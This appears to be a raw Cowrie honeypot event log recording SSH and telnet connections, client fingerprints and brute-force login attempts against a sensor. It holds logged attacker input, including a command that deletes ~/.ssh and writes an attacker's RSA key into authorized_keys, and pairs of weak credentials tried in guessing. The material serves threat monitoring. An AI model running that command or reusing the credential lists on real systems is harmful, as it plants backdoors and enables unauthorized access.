{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:58.313147Z","src_ip":"103.84.236.242","session":"47b41a54bdd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5848,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a7969ae3d26","protocol":"ssh","message":"New connection: 196.188.93.169:5848 (10.17.0.5:22) [session: 1a7969ae3d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:01.725329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:01.735655Z","src_ip":"196.188.93.169","session":"1a7969ae3d26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:01.924491Z","src_ip":"196.188.93.169","session":"1a7969ae3d26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gl","password":"gl","message":"login attempt [gl/gl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:02.656956Z","src_ip":"196.188.93.169","session":"1a7969ae3d26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:03.836412Z","src_ip":"196.188.93.169","session":"1a7969ae3d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":58778,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee5b2c5bb363","protocol":"ssh","message":"New connection: 181.188.176.242:58778 (10.17.0.5:22) [session: ee5b2c5bb363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:07.509624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:07.514445Z","src_ip":"181.188.176.242","session":"ee5b2c5bb363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:07.679537Z","src_ip":"181.188.176.242","session":"ee5b2c5bb363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhang.123","message":"login attempt [root/zhang.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:08.356769Z","src_ip":"181.188.176.242","session":"ee5b2c5bb363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:09.533065Z","src_ip":"181.188.176.242","session":"ee5b2c5bb363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.764817237854004,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:17.962560Z","src_ip":"172.81.62.90","session":"b152bdf7e148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54996,"dst_ip":"159.203.135.109","dst_port":23,"session":"51efa3a947b4","protocol":"telnet","message":"New connection: 128.199.8.54:54996 (159.203.135.109:23) [session: 51efa3a947b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:18.912092Z"}
{"eventid":"cowrie.session.closed","duration":38.306190490722656,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:31.970120Z","src_ip":"172.81.62.90","session":"4d753c471be6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":42150,"dst_ip":"10.17.0.5","dst_port":22,"session":"3efa8e147eef","protocol":"ssh","message":"New connection: 87.106.47.28:42150 (10.17.0.5:22) [session: 3efa8e147eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:44.696045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:44.699739Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:44.796735Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52496,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ac5bf594fcd","protocol":"ssh","message":"New connection: 27.71.230.31:52496 (159.203.135.109:22) [session: 4ac5bf594fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:44.838574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:44.867254Z","src_ip":"27.71.230.31","session":"4ac5bf594fcd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam.","message":"login attempt [steam/steam.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.220131Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.466591Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.469552Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.473327Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.676893Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.830220Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.833251Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.938728Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:45.942286Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":50810,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c3654e6b4f","protocol":"ssh","message":"New connection: 152.32.214.226:50810 (159.203.135.109:22) [session: 98c3654e6b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:46.956334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:46.961863Z","src_ip":"152.32.214.226","session":"98c3654e6b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":38808,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdaf1f0e8e65","protocol":"ssh","message":"New connection: 87.106.47.28:38808 (10.17.0.5:22) [session: bdaf1f0e8e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:47.045431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:47.050908Z","src_ip":"87.106.47.28","session":"bdaf1f0e8e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:47.148586Z","src_ip":"87.106.47.28","session":"bdaf1f0e8e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:47.182578Z","src_ip":"152.32.214.226","session":"98c3654e6b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:47.600933Z","src_ip":"87.106.47.28","session":"bdaf1f0e8e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./","message":"login attempt [root/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:48.099210Z","src_ip":"152.32.214.226","session":"98c3654e6b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:48.699536Z","src_ip":"87.106.47.28","session":"bdaf1f0e8e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:49.156514Z","src_ip":"27.71.230.31","session":"4ac5bf594fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:49.323829Z","src_ip":"152.32.214.226","session":"98c3654e6b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":38810,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc6ffae6327","protocol":"ssh","message":"New connection: 87.106.47.28:38810 (10.17.0.5:22) [session: fdc6ffae6327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:49.796023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:49.802688Z","src_ip":"87.106.47.28","session":"fdc6ffae6327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:49.896209Z","src_ip":"87.106.47.28","session":"fdc6ffae6327","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:50.297193Z","src_ip":"87.106.47.28","session":"fdc6ffae6327","protocol":"ssh"}
